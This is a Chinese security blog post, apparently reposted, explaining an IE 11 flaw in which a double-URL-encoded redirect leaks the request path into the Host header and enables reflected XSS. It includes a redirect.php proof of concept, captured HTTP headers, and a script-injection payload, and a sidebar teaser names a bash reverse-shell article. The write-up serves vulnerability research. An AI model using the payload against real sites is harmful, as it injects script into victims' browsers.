0x00
有些网站会将HTTP Header里的Host项打印出来(就像参考里说的Google)。那么我们就可以利用这一点,在IE里通过Host Header来进行XSS绕过。
影响版本:IE 11
0x01 IE对跳转链接的解析问题
同样是对跳转链接的解析,感觉IE这方面出了好多问题。
例如,我们构造一个跳转页面
# redirect.php
<script>
window.location.href="http://target.com%252fvul.php";
</script>
这里的%252f是对/进行了两次URLEncode。
在IE里,若是访问这个页面,那么Response Header会像这样
HTTP/1.1 302 Found
Server: nginx/1.13.4
Date: Fri, 25 Aug 2017 04:17:15 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.1.8
Location: http://target.com%252fvul.php
Content-Length: 0
而跳转的Request Header会是这样
GET /vul.phphp HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: 127.0.0.1/vul.php
Connection: close
在这里就出现问题了。
首先是GET后面的路径异常,而后是Host后面的主机地址居然带上了我们的请求路径??
对于这部分的解释可以看文末的参考链接,在这里我们先讲如何利用。
由上面可以看出,我们若是将跳转链接中的/全部进行二次URLEncode,那么在跳转请求里的Host Header里就会带上我们的请求路径。
那么很简单,构造一个这样的跳转页面就可以了
# redirect.php
<script>
window.location.href="http://target.com%252f%3c%252ftitle%3e%3cscript%3Ealert%28document.domain%29%3C%252fscript%3E');";
</script>
0x04 参考
FROM :rickyhao.com | rickyhao.com
Linux反弹shell/01 bash -i反弹一,命令分解前置知识文件描述符: 0 —————- 标准输入 1 —————– 标准输出 2 —————– 标准错误输出 重定向符: 1> ------------ 更改标准输出 1< ------…
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论